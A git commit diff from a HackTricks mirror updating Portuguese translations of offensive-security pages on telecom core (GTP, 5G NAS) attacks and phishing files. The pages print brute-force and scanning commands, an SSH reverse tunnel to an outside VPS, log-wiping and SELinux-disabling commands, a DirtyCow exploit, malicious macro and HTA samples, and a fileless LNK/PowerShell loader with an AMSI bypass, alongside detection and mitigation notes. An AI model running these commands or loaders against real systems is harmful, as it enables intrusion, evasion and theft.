mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
9198cfead8
commit
70c706cc87
@ -3,25 +3,25 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Os protocolos do core móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como trafegam sobre UDP simples com quase nenhuma autenticação, **qualquer foothold dentro do perímetro de uma telecom geralmente pode atingir diretamente os planos de sinalização core**. As notas a seguir reúnem truques ofensivos observados na natureza contra SGSN/GGSN, PGW/SGW e outros nós EPC.
|
||||
> Protocolos de núcleo móvel (GPRS Tunnelling Protocol – GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles trafegam sobre plain UDP com quase nenhuma autenticação, **qualquer ponto de apoio dentro do perímetro de uma operadora geralmente pode alcançar diretamente os planos de sinalização do core**. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
|
||||
|
||||
## 1. Recon & Acesso Inicial
|
||||
|
||||
### 1.1 Contas OSS / NE Padrão
|
||||
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet codificados, como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:
|
||||
### 1.1 Contas padrão OSS / NE
|
||||
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Um wordlist dedicado aumenta dramaticamente o sucesso de brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Se o dispositivo expõe apenas uma management VRF, pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
|
||||
Se o dispositivo expõe apenas um VRF de gerenciamento, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
|
||||
|
||||
### 1.2 Descoberta de Hosts dentro do GRX/IPX
|
||||
A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as probes UDP `gtpv1` integradas para mapear rapidamente os listeners GTP-C:
|
||||
### 1.2 Descoberta de Hosts dentro de GRX/IPX
|
||||
A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as sondas UDP `gtpv1` embutidas para mapear rapidamente os listeners GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumeração de Assinantes – `cordscan`
|
||||
## 2. Enumerating Subscribers – `cordscan`
|
||||
|
||||
A ferramenta em Go a seguir cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que está servindo o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
|
||||
A seguinte ferramenta Go cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que serve o IMSI consultado e, às vezes, o PLMN visitado pelo assinante.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,20 +29,20 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Principais flags:
|
||||
Flags principais:
|
||||
- `--imsi` IMSI do assinante alvo
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Grava pacotes brutos em pcap
|
||||
- `-w` Grava raw packets para pcap
|
||||
|
||||
Constantes importantes dentro do binário podem ser alteradas para ampliar as varreduras:
|
||||
Constantes importantes dentro do binário podem ser patchadas para ampliar as varreduras:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Execução de código sobre GTP – `GTPDoor`
|
||||
## 3. Code Execution over GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` é um pequeno serviço ELF que **associa-se ao UDP 2123 e analisa cada pacote GTP-C recebido**. Quando o payload começa com uma pre-shared tag, o restante é descriptografado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response**, de modo que nenhuma sessão de saída é criada.
|
||||
`GTPDoor` é um pequeno serviço ELF que **faz bind em UDP 2123 e analisa todo pacote GTP-C recebido**. Quando o payload começa com uma tag pré-compartilhada, o restante é decriptado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response**, de modo que nunca é criada uma sessão de saída.
|
||||
|
||||
Pacote PoC mínimo (Python):
|
||||
```python
|
||||
@ -54,38 +54,38 @@ print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detecção:
|
||||
* qualquer host enviando **unbalanced Echo Requests** para IPs do SGSN
|
||||
* GTP version flag set to 1 while message type = 1 (Echo) – desvio da especificação
|
||||
* flag de versão do GTP definido como 1 enquanto message type = 1 (Echo) – desvio da especificação
|
||||
|
||||
## 4. Pivoting Through the Core
|
||||
## 4. Pivoting através do Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` inclui um emulador de SGSN capaz de **estabelecer um PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer.
|
||||
`OsmoGGSN` inclui um emulador SGSN capaz de **establish a PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e coloca você diretamente no **plano de dados**.
|
||||
Com o firewall hair-pinning adequado, este túnel contorna VLANs apenas de signalling e o coloca diretamente no **plano de dados**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
O DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando na :53 e retorne mais tarde de casa:
|
||||
DNS quase sempre está aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando em :53 e retorne depois de casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Verifique se `GatewayPorts yes` está ativado no VPS.
|
||||
Verifique se `GatewayPorts yes` está habilitado no VPS.
|
||||
|
||||
## 5. Canais Clandestinos
|
||||
|
||||
| Canal | Transporte | Decodificação | Notas |
|
||||
|-------|-----------|--------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, sem tráfego de saída |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | observa o subdomínio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mistura-se com o chatter legítimo de GTP |
|
||||
| Canal | Transporte | Decodificação | Observações |
|
||||
|-------|-----------|--------------|-------------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | ouvinte puramente passivo, sem tráfego de saída |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | monitora o subdomínio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mistura-se ao tráfego legítimo de GTP-C |
|
||||
|
||||
Todos os implants implementam watchdogs que **timestomp** seus binaries e re-spawn se travarem.
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
|
||||
## 6. Cheatsheet de Evasão de Defesa
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Privilege Escalation em Legacy NE
|
||||
## 7. Elevação de Privilégios em NE Legado
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -118,15 +118,15 @@ rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Caixa de Ferramentas
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling descrito nas seções anteriores.
|
||||
* `FScan` : varreduras TCP na intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
* `Microsocks` + `ProxyChains` : pivoting SOCKS5 leve
|
||||
* `FRP` (≥0.37) : NAT traversal / ponte entre ativos
|
||||
|
||||
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
## 9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
O procedimento de registration 5G corre sobre NAS (Non-Access Stratum) em cima de NGAP. Até que a segurança NAS seja ativada via Security Mode Command/Complete, mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança possibilita múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).
|
||||
O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a NAS security seja ativada por Security Mode Command/Complete, mensagens iniciais são não autenticadas e não encriptadas. Essa janela pré-segurança permite vários caminhos de ataque quando você pode observar ou adulterar o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed).
|
||||
|
||||
Registration flow (simplified):
|
||||
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
|
||||
@ -136,43 +136,43 @@ Registration flow (simplified):
|
||||
|
||||
Dicas para laboratório (non-RF):
|
||||
- Core: Open5GS default deployment é suficiente para reproduzir os fluxos.
|
||||
- UE: simulador ou UE de teste; decodifique usando Wireshark.
|
||||
- Ferramentas ativas: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Filtros úteis de exibição no Wireshark:
|
||||
- UE: simulador ou UE de teste; decodifique usando o Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Useful display filters in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
|
||||
Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite tracking persistente do assinante.
|
||||
Esperado: UE/USIM deve transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite rastreamento persistente do assinante.
|
||||
|
||||
Como testar:
|
||||
- Capture a primeira mensagem NAS no InitialUEMessage e inspecione o Mobile Identity IE.
|
||||
- Checks rápidos no Wireshark:
|
||||
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
|
||||
- Wireshark quick checks:
|
||||
- It should decode as SUCI, not IMSI.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leak.
|
||||
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates um leak.
|
||||
|
||||
O que coletar:
|
||||
- MCC/MNC/MSIN se expostos; log por UE e rastreie ao longo do tempo/locais.
|
||||
- MCC/MNC/MSIN se expostos; registre por UE e rastreie ao longo do tempo/localizações.
|
||||
|
||||
Mitigação:
|
||||
- Forçar UEs/USIMs a usar apenas SUCI; alertar em qualquer IMSI/SUPI no NAS inicial.
|
||||
- Exigir UEs/USIMs que enviem somente SUCI; alertar sobre qualquer IMSI/SUPI no NAS inicial.
|
||||
|
||||
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
|
||||
Background:
|
||||
Contexto:
|
||||
- UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
|
||||
- Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.
|
||||
|
||||
Problema:
|
||||
- Como o Registration Request não é integrity protected, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.
|
||||
- Porque o Registration Request não é protegido por integridade, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência.
|
||||
|
||||
Passos ofensivos:
|
||||
- Interceptar InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
|
||||
- Com Sni5Gect, hook a mensagem NAS e patch os capability bits antes de encaminhar.
|
||||
- Observar se o AMF aceita null ciphers/integrity e completa o Security Mode com EEA0/EIA0.
|
||||
- Intercept InitialUEMessage e modifique o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
|
||||
- Com Sni5Gect, hook a mensagem NAS e patch os bits de capability antes de encaminhar.
|
||||
- Observe se o AMF aceita cifras/integridade nulas e completa o Security Mode com EEA0/EIA0.
|
||||
|
||||
Verificação/visibilidade:
|
||||
- No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
|
||||
- Example passive sniffer output:
|
||||
- Exemplo de saída de sniffer passivo:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
@ -180,10 +180,10 @@ SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigações (obrigatórias):
|
||||
- Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência).
|
||||
- Prefira impor EEA2/EIA2 como mínimo; registre e alerte sobre qualquer contexto de segurança NAS que negocie algoritmos nulos.
|
||||
- Prefira aplicar EEA2/EIA2 como mínimo; registrar e gerar alarmes para qualquer contexto de segurança NAS que negocie algoritmos nulos.
|
||||
|
||||
### 9.3 Repetição da initial Registration Request (NAS pré-segurança)
|
||||
Porque o NAS inicial não tem integridade nem frescor, a InitialUEMessage+Registration Request capturada pode ser repetida para o AMF.
|
||||
### 9.3 Replay de initial Registration Request (pre-security NAS)
|
||||
Porque o initial NAS carece de integridade e freshness, a InitialUEMessage+Registration Request capturada pode ser replayed para o AMF.
|
||||
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
@ -208,32 +208,32 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</property>
|
||||
</beginning>
|
||||
```
|
||||
O que observar:
|
||||
- Se o AMF aceita o replay e prossegue para Authentication; a falta de validação de freshness/context indica exposição.
|
||||
What to observe:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
|
||||
Mitigações:
|
||||
- Aplicar proteção contra replay/vínculo de contexto no AMF; limitar taxa e correlacionar por-GNB/UE.
|
||||
Mitigations:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: iniciar um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS.
|
||||
- Wireshark: verificar as decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration.
|
||||
- 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra.
|
||||
- Sni5Gect: live sniff/modify/inject no plano de controle NAS para coagir algoritmos null ou perturbar sequências de authentication.
|
||||
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
|
||||
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
|
||||
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto puro; bloquear dispositivos/USIMs ofensores.
|
||||
- Rejeitar EEA0/EIA0 exceto para procedimentos de emergência estritamente definidos; exigir no mínimo EEA2/EIA2.
|
||||
- Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados.
|
||||
- Alertar sobre modos de segurança NAS que resultem em algoritmos null ou replays frequentes de InitialUEMessage.
|
||||
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
|
||||
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
|
||||
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
|
||||
|
||||
---
|
||||
## Detection Ideas
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
## Ideias de detecção
|
||||
1. **Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Create PDP Context Requests**.
|
||||
2. **Portas não padrão (53, 80, 443) recebendo SSH handshakes** de IPs internos.
|
||||
3. **Echo Requests frequentes sem as correspondentes Echo Responses** – pode indicar beacons GTPDoor.
|
||||
4. **Alta taxa de tráfego ICMP echo-reply com campos identifier/sequence grandes e não zero**.
|
||||
5. 5G: **InitialUEMessage transportando NAS Registration Requests repetidos de endpoints idênticos** (sinal de replay).
|
||||
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fora de contextos de emergência.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,25 +1,25 @@
|
||||
# Arquivos & Documentos de Phishing
|
||||
# Phishing Arquivos & Documentos
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documentos do Office
|
||||
|
||||
Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação dos dados é feita na forma de identificação da estrutura dos dados, em conformidade com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura dos dados, o arquivo sendo analisado não será aberto.
|
||||
Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação de dados é feita na forma de identificação da estrutura de dados, em conformidade com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura de dados, o arquivo em análise não será aberto.
|
||||
|
||||
Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter suas capacidades de execução de macros.\
|
||||
Geralmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter sua capacidade de execução de macros.\
|
||||
Por exemplo, um arquivo RTF não suporta macros, por design, mas um arquivo DOCM renomeado para RTF será tratado pelo Microsoft Word e será capaz de executar macros.\
|
||||
Os mesmos internos e mecanismos se aplicam a todo o software do Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
Os mesmos internals e mecanismos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Você pode usar o seguinte comando para verificar quais extensões serão executadas por alguns programas do Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Arquivos DOCX que fazem referência a um template remoto (File –Options –Add-ins –Manage: Templates –Go) que inclui macros podem “executar” macros também.
|
||||
Arquivos DOCX que referenciam um template remoto (File –Options –Add-ins –Manage: Templates –Go) que inclui macros também podem “executar” macros.
|
||||
|
||||
### Carregamento de Imagem Externa
|
||||
### Carregamento Externo de Imagem
|
||||
|
||||
Ir para: _Insert --> Quick Parts --> Field_\
|
||||
_**Categorias**: Links e Referências, **Nomes de campo**: includePicture, e **Nome do arquivo ou URL**:_ http://<ip>/whatever
|
||||
Vá para: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
@ -29,7 +29,7 @@ _**Categorias**: Links e Referências, **Nomes de campo**: includePicture, e **N
|
||||
|
||||
#### Funções Autoload
|
||||
|
||||
Quanto mais comuns forem, maior a probabilidade de o AV detectá-las.
|
||||
Quanto mais comuns forem, maior a probabilidade de o AV detectá‑las.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
@ -66,14 +66,14 @@ proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Remover metadados manualmente
|
||||
|
||||
Vá em **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**.
|
||||
Vá para **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**.
|
||||
|
||||
#### Extensão do Documento
|
||||
#### Extensão do Doc
|
||||
|
||||
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
|
||||
Faça isso porque você não pode salvar macro's dentro de um **`.docx`** e há um **stigma** **around** a extensão habilitada para macros **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**.
|
||||
Ao terminar, selecione o menu suspenso **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\
|
||||
Faça isso porque você não pode salvar macros dentro de um `.docx` e há um **estigma** **em torno** da extensão com macro habilitado **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**.
|
||||
|
||||
#### Geradores de Macros Maliciosos
|
||||
#### Geradores de Macros Maliciosas
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ Faça isso porque você não pode salvar macro's dentro de um **`.docx`** e há
|
||||
|
||||
## Arquivos HTA
|
||||
|
||||
Um HTA é um programa do Windows que **combina HTML e linguagens de script (como VBScript e JScript)**. Ele gera a interface do usuário e é executado como uma aplicação "totalmente confiável", sem as restrições do modelo de segurança de um browser.
|
||||
Um HTA é um programa do Windows que **combina HTML and scripting languages (such as VBScript and JScript)**. Ele gera a interface do usuário e é executado como uma aplicação "totalmente confiável", sem as restrições do modelo de segurança de um navegador.
|
||||
|
||||
Um HTA é executado usando **`mshta.exe`**, que normalmente é **instalado** junto com o **Internet Explorer**, tornando **`mshta` dependente do IE**. Portanto, se ele tiver sido desinstalado, HTAs não poderão ser executados.
|
||||
Um HTA é executado usando **`mshta.exe`**, que normalmente vem **instalado** junto com o **Internet Explorer**, fazendo com que **`mshta` dependa do IE**. Portanto, se ele tiver sido desinstalado, HTAs não poderão ser executados.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,9 +138,9 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Forçando Autenticação NTLM
|
||||
## Forçando a autenticação NTLM
|
||||
|
||||
Existem várias maneiras de **forçar NTLM authentication "remotely"**, por exemplo, você pode adicionar **imagens invisíveis** em emails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **acionar** uma **autenticação** apenas ao **abrir a pasta.**
|
||||
Existem várias formas de **forçar a autenticação NTLM "remotely"**, por exemplo, você pode adicionar **imagens invisíveis** em emails ou HTML que o usuário irá acessar (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas ao **abrir a pasta.**
|
||||
|
||||
**Confira essas ideias e mais nas páginas a seguir:**
|
||||
|
||||
@ -156,24 +156,24 @@ Existem várias maneiras de **forçar NTLM authentication "remotely"**, por exem
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Não esqueça que você não pode apenas roubar o hash ou a autenticação, mas também realizar NTLM Relay attacks:
|
||||
Não esqueça que você pode não só roubar o hash ou a autenticação, mas também **perform NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Campanhas altamente eficazes entregam um ZIP que contém dois documentos legítimos de isca (PDF/DOCX) e um .lnk malicioso. O truque é que o loader do PowerShell real é armazenado dentro dos bytes brutos do ZIP após um marcador único, e o .lnk recorta e o executa totalmente em memória.
|
||||
Campanhas altamente eficazes entregam um ZIP que contém dois documentos decoy legítimos (PDF/DOCX) e um .lnk malicioso. O truque é que o loader PowerShell real está armazenado nos bytes brutos do ZIP após um marcador único, e o .lnk o extrai e executa completamente em memória.
|
||||
|
||||
Fluxo típico implementado pelo one-liner PowerShell do .lnk:
|
||||
|
||||
1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, e o diretório pai do diretório de trabalho atual.
|
||||
2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o PowerShell payload embutido.
|
||||
3) Copiar o ZIP para %ProgramData%, extrair lá, e abrir o .docx de isca para parecer legítimo.
|
||||
4) Bypassar AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscar a próxima etapa (por ex., remover todos os caracteres #) e executá-la em memória.
|
||||
1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e o diretório pai do diretório de trabalho atual.
|
||||
2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o PowerShell payload embutido.
|
||||
3) Copiar o ZIP para %ProgramData%, extrair lá e abrir o .docx decoy para parecer legítimo.
|
||||
4) Bypassar o AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscate a próxima etapa (por exemplo, remover todos os caracteres #) e executá-la na memória.
|
||||
|
||||
Exemplo de esqueleto PowerShell para extrair e executar a etapa embutida:
|
||||
Exemplo de skeleton PowerShell para carve e run a etapa embutida:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notas
|
||||
- A entrega frequentemente abusa de subdomínios PaaS reputados (por exemplo, *.herokuapp.com) e pode filtrar payloads (servir ZIPs benignos com base em IP/UA).
|
||||
- A etapa seguinte frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco.
|
||||
- A entrega frequentemente abusa de subdomínios PaaS reputáveis (por exemplo, *.herokuapp.com) e pode condicionar o acesso aos payloads (servir ZIPs benignos com base no IP/UA).
|
||||
- A próxima etapa frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos em disco.
|
||||
|
||||
Persistência usada na mesma cadeia
|
||||
- COM TypeLib hijacking do Microsoft Web Browser control para que o IE/Explorer ou qualquer app que o incorpore re-execute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui:
|
||||
